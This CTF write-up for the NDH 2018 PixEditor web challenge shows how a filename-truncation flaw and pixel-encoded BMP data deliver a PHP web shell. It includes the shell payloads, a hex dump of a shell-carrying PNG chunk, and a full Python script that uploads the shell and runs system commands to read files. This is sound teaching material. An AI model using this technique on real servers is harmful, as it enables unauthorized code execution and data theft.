Quals NDH 2018 : PixEditor
This challenge was proposed by Sysdream for the NDH Quals CTF.
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Quals NDH 2018 | PixEditor | Web | 350 | 63 |
Description
Create your own pixel art with this powerful tool.
TL;DR
In this challenge, we had a “paint” tool in JS which allowed us to save our drawing (32*32) in PNG, JPG, BMP…
The save process used an AJAX query with 3 parameters: array of pixels, filename, filetype.
By looking at the JS, we saw a comment which says that filname is truncated in the backend when his length is over 50px.
This truncation allowed us to upload our image with php extension using aaaa[…]aaa.php.png (when truncated gives aaaa[…]aaa.php).
After that, we looked at the different file format to wrote php in the image chunk. We chose BMP which allowed us to wrote PHP in it easyly.
The writing process was converting php code to pixels array and passing it as “image”.
Once the payload was upload, we got a PHP shell which allowed us to list file in root folder and read the flag.
Methology
The following methology is the one I used during the challenge and maybe not the most efficient.
Playing with it
The first thing I did was testing the soft, understanding what it does:
I drew some stuff, I tested the different extension and saved it. The process of saving was an ajax query to “save.php”. The pixeditor.js confirm the AJAX query:
$.post("save.php", {'data': JSON.stringify(pixelarray), 'name': this.inputFileName + '.' + this.inputFormat, 'format': this.inputFormat}, function( res ){
$('#divResult').html(res);
});
By looking at the code and the post request, we can see that there were 3 parameters:
- data : an array of 32*32 pixels [r1,g1,b1,a1,r1,g1,b1,a1,…,r1024,g1024,b1024,a1024]
- name : the filename of the saved image
- format : the encoding format
Looking for bug
From this, I decided to spoof the filename or file extension by changing it to PHP.
Both gave me error.
A had few informations by passing array instead of strings for name and format argument, but nothing really usefull.
Passing something else in data such as bigger list or array for data[]= also gave me error.
I also tried nullbyte for filename (aa.php%00.png) but it has no effect.
Internet ?
The combinaison of pixel editor and the fac that we could download our image remembered me a challenge I did in the past.
The challenged consisted in writting a PHP shell in the PNG chunk. This may be usefull in case of LFI: we could include our own image and interpret our own php code.
This challenge was tricky due to PNG compression but here are few ressources:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/
From this, i made my PNG image, with size of 32*32 and containing the following payload:
<?=$_GET[0]($_POST[1]);?>
$xxd pngchunkphpshell.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0020 0000 0020 0802 0000 00fc 18ed ... ... ........
00000020: a300 0000 8249 4441 5448 8963 5c3c 3f3d .....IDATH.c\<?=
00000030: 245f 4745 545b 305d 2824 5f50 4f53 545b $_GET[0]($_POST[
00000040: 315d 293b 3f3e 5820 20f0 0bcf 9cd7 2d0f 1]);?>X .....-.
...
I decided to upload the image by parsing the pixels and sending it as data (with png name and format).
The saving process keep the correct image but with a different encoding: the shell was removed from the chunk…
$xxd pngchunkphpshellfailed.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0020 0000 0020 0806 0000 0073 7a7a ... ... .....szz
00000020: f400 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a...
00000040: 0009 7048 5973 0000 0ec4 0000 0ec4 0195 ..pHYs..........
00000050: 2b0e 1b00 0000 be49 4441 5458 4763 5c3c +......IDATXGc\<
00000060: 3ffd 7f48 be0e 838a a836 8360 ba10 4348 ?..H.....6.`..CH
00000070: be20 839e a628 83b6 623a 8352 763e 437c . ...(..b:.Rv>C|
00000080: b000 4340 e017 069e 39af 195a 1ede 6098 ..C@....9..Z..`.
00000090: c2fc 9541 6fba 0783 7ec0 0386 0b4c 2719 ...Ao...~....L'.
000000a0: 188d 5632 d8c4 6c64 90cc cb61 d8c8 fd90 ..V2..ld...a....
Crying for the Bypass
I passed a lot of time thinking about the solution… I decided to solve the first problem:
even if I had my php in image chunk, it would not be interpreted due to png header.
To interpret it I had to find a LFI or force the image as a PHP file.
I searched a lot… too much:
By drawing this on the PixEditor app I thought: “Hey, what if the admin commmented extra colors in the JS ?”.
I looked back at the JS:
...
"Sienna",
"Salmon",
"PaleVioletRed", // Lol, wtf.
"Olive",
"Magenta",
"Gold",
...
No extra colors except the PaleVioletRed which had a comment.
I decided to scroll for other “funny” comments. And I found:
inputName.value = this.inputFileName;
inputName.maxLength = 45; // 50 - Len(Extension) - Filename will be truncated if len > 50
inputName.onchange = this.inputName_Changed.bind(this);
And here was the solution I was looking for !
The comment told us that the filename was truncated in the backend.
I uploaded an image with the following name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.BMP
When uploaded, the image path was shorter (due to truncation):
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
I followed the path and, due to the php extension, no image was displayed but the chunk content was displayed ! This is how I bypassed the extension verirication.
From payload to Image chunk
The last step to get a php shell was to write the shell in pixels data. After few test on PNG extension, I saw that I could not write any shell in this king of file. I decided to check for BMP file, which has no real compression and allowed us to write our payload “directly”. I decided to send an empty image in BMP with just 3 letters at the beggining: xyz.
ord('x')
>> 120
ord('y')
>> 121
ord('z')
>> 122
data : [120,121,122,255,0,0,0,255,0,0….]
By sending the request to save with our “long” name, we got a page containing “zyx”. I tested with “abcdefghi” and got “cbafedihg”. By looking at this we can deduce that BMP format first write the blue pixel, then the green one and finaly the red one. I decided to try a simple “” first, the payload worked fine !
Next, I tried to send a part of my final payload to verify that there is no form of compression. I sent the following code (please not that i did not put the first < to verify that the payload is correctly printed.
?php $_GET['fn']($_GET['arg']); ?>
After sending the full payload, i got the following response which confirm us that our final payload is ready:
Exploitation
To automate the process, I wrote the following script, which include the last step: exploiting our webshell. The exploisation was quite simple: using system(“ls /”) then system(“cat /flag”).
The script is avaible here: pixeditor.py
import requests
s = requests.session()
LINK = "http://pixeditor.challs.malice.fr/"
# payload = "<?php phpinfo(); ?>"
payload = "<?php $_GET['fn']($_GET['arg']); ?>"
payload += " "*(3-(len(payload)%3)%3) # Multiple of 3 ! Pad with space
chunk = ""
PXSIZE = int(len(payload)/3)
for i in range(0,len(payload),3): # Chunk BMP : B V R A, B V R A
chunk += str(ord(payload[i+2])) # Letter 3
chunk += ","
chunk += str(ord(payload[i+1])) # Letter 2
chunk += ","
chunk += str(ord(payload[i])) # Letter 1
chunk += ",255," # A
px = "0,0,0,255,"*((32*32)-PXSIZE) # PAD for a 32*32 image
px = px[:-1]
l = chunk+px
dico = {
"data" : "["+l+"]",
"name" : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.BMP", # Truncation
"format" : "BMP"
}
r = s.post(LINK+"save.php",data=dico) # Post payload
r = r.text.split("href='")[1].split("'")[0] # Get the uploaded image link
webshell = LINK+r
print("WebShell at: "+webshell+"?fn=&arg=")
r = s.get(webshell+"?fn=system&arg=ls -la /")
print(r.text)
r = s.get(webshell+"?fn=system&arg=cat /flag")
print(r.text) # Congratz. The flag is : NDH{Msp4int.3x3>all>th3g1mp}
FLAG !
FLAG
NDH{Msp4int.3x3>all>th3g1mp}
Zeecka